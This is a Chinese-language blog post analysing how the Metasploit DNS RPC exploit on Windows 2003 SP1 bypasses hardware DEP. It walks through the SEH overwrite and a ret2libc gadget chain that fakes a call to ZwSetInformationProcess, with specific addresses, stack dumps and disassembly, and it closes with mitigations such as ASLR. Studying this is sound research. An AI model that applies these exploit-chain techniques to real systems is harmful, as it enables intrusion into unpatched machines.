Bypass Hardware DEP Tips

DEP(数据执行保护),是windows针对溢出的一种保护措施,分软dep和硬dep,其中硬dep是需要cpu支持的,比较新的处理器一般都支持这个选项,可以在bios里去打开。简单来说,就是堆栈不可执行了,所以一般的在堆栈里执行shellcode的exploit,会攻击失败。

bypass dep也不是新东西了,目前最好的一篇文档是skape和skywing发在uninformed上的一篇。
http://www.uninformed.org/?v=2&a=4&t=txt

这篇文档写的很好,任何想学习或者研究bypass dep的人,都应该去仔细阅读这份文档。

这次由于metasploit里的dns rpc溢出,利用了这种技术,使得绕过硬件dep再次成为了热点,我在这里小结一下。

首先,绕过dep的理论基础是建立在这样一个函数上的。

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;

NtSetInformationProcess(
    NtCurrentProcess(),    // (HANDLE)-1
    ProcessExecuteFlags,   // 0x22
    &ExecuteFlags,         // ptr to 0x2
    sizeof(ExecuteFlags)); // 0x4



当MEM_EXECUTE_OPTION_ENABLE 设置为 0x2时,则表示禁用NX(Non-Executable) Support. 其中第一个参数可以设置为当前进程。

由于MS的设计原因,导致改函数可以在用户态调用,也就是说在用户态,可以通过调用该函数,来禁用当前进程的NX支持,从而绕过dep。那么调用了一次该函数后,该线程或进程的堆栈空间就是没有DEP保护的了,就可以用来执行shellcode了!

所以通过ret2libc技术,可以在栈里伪造一个frame,来调用这个函数,参数需要我们自己构造,这里的一个弊端就是,因为构造参数的关系,所以不可避免的要有0字节的出现。

以metasploit上的dns rpc溢出为例。分析如下:
在我的2003 sp1上,Ntdll!ZwSetInformationProcess函数如下:

7C951E58 >  B8 ED000000     MOV EAX,0ED        ;ZwSetInformationProcess
7C951E5D    BA 0003FE7F     MOV EDX,7FFE0300
7C951E62    FF12            CALL DWORD PTR DS:[EDX]
7C951E64    C2 1000         RETN 10



首先,发送payload,覆盖到栈底,触发异常,此时seh被覆盖,跳转地址到0x769c2566
栈内为:

0138FD4C   77674345  OLEAUT32.77674345
0138FD50   306A3246  指向下一个 SEH 记录的指针
0138FD54   769C2566  SE处理程序
0138FD58   6D587277



跳转后:

769C2566  |.  81C5 AC050000 ADD EBP,5AC
769C256C  |.  C9            LEAVE
769C256D  /.  C2 1400       RETN 14



这里,add ebp/leave/retn 是另外一种覆盖seh的利用方法,也是很早就有人提出来了。因为如果用 pop/pop/retn的方式,会跳到seh的前4字节,在这里这个空间显然不够我们做许多事情,而使用add ebp的方式,则可以跳到shellcode里,利用的空间比较大。具体情况具体分析。

leave指令执行后,栈内的情况

ESP ==>  > 769C1DA7  ATL.769C1DA7
ESP+4    > 79427552
ESP+8    > 59387453
ESP+C    > 67416569
ESP+10   > 64755647
ESP+14   > 50366935
ESP+18   > 000000ED


这样,将去执行0x769c1da7处的代码,该处代码为

769C1DA7  |.  5E            POP ESI
769C1DA8  /.  C3            RETN


这样,实际上,就将esi的内容,变成了0xed. 注意这里0xed是我们需要的调用号,已经带有0字节了。

当0x769c1da8处准备retn时,栈内的情况:

ESP ==>  > 769C1DA4  ATL.769C1DA4
ESP+4    > 7FFE0300
ESP+8    > 374E6E49
ESP+C    > 769C109C  ATL.769C109C
ESP+10   > 49703552
ESP+14   > FFFFFFFF
ESP+18   > 00000022
ESP+1C   > 7FFE0270
ESP+20   > 00000004
ESP+24   > 66686561



也就是说,会返回到 0x769c1da4去执行代码,我们看看该处的代码:

769C1DA4  |.  59            POP ECX
769C1DA5  |.  8BC6          MOV EAX,ESI
769C1DA7  |.  5E            POP ESI
769C1DA8  /.  C3            RETN



首先将ecx的内容改为 0x7ffe0300
然后将esi的内容mov到eax中,注意前面将esi的内容改成了 0xed,所以实际上就将eax改为了0xed
接下来pop esi,这个无关紧要,再返回到 769C109C

769C109C  |.  FF11          CALL DWORD PTR DS:[ECX]



这时候比对我们上面所执行的所有代码,实际上就是执行了ZwSetInformationProcess处的代码,最后已经执行到call [ecx]来了.
实际上就是

mov   eax,0xed    ; 让eax为 0xed
call  [0x7ffe0300]   ;执行0x7ffe0300处地址的指令



那么根据前面的理论,在调用这个函数时,需要的几个参数,是要自己构造的,看看栈里的情况

ESP ==>  > 49703552     ;无关紧要
ESP+4    > FFFFFFFF     ; 当前进程  NtCurrentProcess()
ESP+8    > 00000022     ; 0x22   ProcessExecuteFlags
ESP+C    > 7FFE0270     ; 指向 0x2的指针   &ExecuteFlags
ESP+10   > 00000004     ; 4字节    sizeof(ExecuteFlags)



所以我们就伪造了一个栈帧来执行这个函数,执行完之后,当前的线程就禁用了DEP保护,就可以在栈里执行shellcode代码了。

我们继续跟. 0x7ffe0300处为0x7C95ED50

7C95ED50 >  8BD4            MOV EDX,ESP
7C95ED52    0F34            SYSENTER
7C95ED54 >  C3              RETN



SYSENTER后,

769C109E  |> /85FF          TEST EDI,EDI     ; 此时 edi为0
769C10A0  |.  74 06         JE SHORT ATL.769C10A8
769C10A2  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]

......

769C10A8  |> /8B06          MOV EAX,DWORD PTR DS:[ESI]
769C10AA  |.  5F            POP EDI
769C10AB  |>  5E            POP ESI
769C10AC  /.  C2 0C00       RETN 0C



还记得前面我们有个pop esi的操作吗,那时候我们随便pop了一个地址到esi去,所以在这里的mov操作,会导致异常,因为esi不可读。这样会跳到seh去

经过 add ebp/leave后,将返回到0x769d35bf,该处的内容是 /xff/xe4 ,也就是jmp esp。

0138FB00    CC              INT3
0138FB01    CC              INT3
0138FB02    CC              INT3
0138FB03    CC              INT3
0138FB04    CC              INT3
0138FB05    CC              INT3
0138FB06    CC              INT3
0138FB07    CC              INT3


最后,我们就成功在栈内执行shellcode了!

这种ret2libc的核心思想,就是去模拟ZwSetInformationProcess的执行,同时要伪造栈帧以传入指定的参数。我曾经用过类似的方法来绕过Redhat下的exec-shield.

不过这种方法受到0字节的约束。

skape在他的paper里列举了另外一个方法。因为在ntdll.dll里有这么一个地方:

7C96E413    C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
7C96E41A    6A 04           PUSH 4
7C96E41C    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
7C96E41F    50              PUSH EAX
7C96E420    6A 22           PUSH 22
7C96E422    6A FF           PUSH -1
7C96E424    E8 2F3AFEFF     CALL ntdll.ZwSetInformationProcess
7C96E429  ^ E9 4775FFFF     JMP ntdll.7C965975


那么如果能够直接调用到这里来,就禁用了NX了。但是这个skape在他的paper里找了一连串地址,最后跳到这里来了,可惜我没找到他说的那个函数。有兴趣的可以去具体看他的paper。

还有个限制就是此处是在ntdll.dll里的,前面提到了在利用过程的时候,很可能无法跳到ntdll.dll来。

使用skape的方法,可以避免0字节的问题。

最后,skape还总结了bypass dep的利用条件:
1. 没有ASLR( Address Space Layout Randomization ),也就是dll的加载地址不要随机变化

2. 能够在用户态禁用当前线程或进程的NX

3. 能够构造fake frame传入参数。

前面两点的修补方案很显然,加入ASLR;只有内核态才能禁用进程的NX;第三点则是和漏洞有关了。

以上是一点总结,希望能对某些人有点帮助,也感谢emm对我的帮助。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值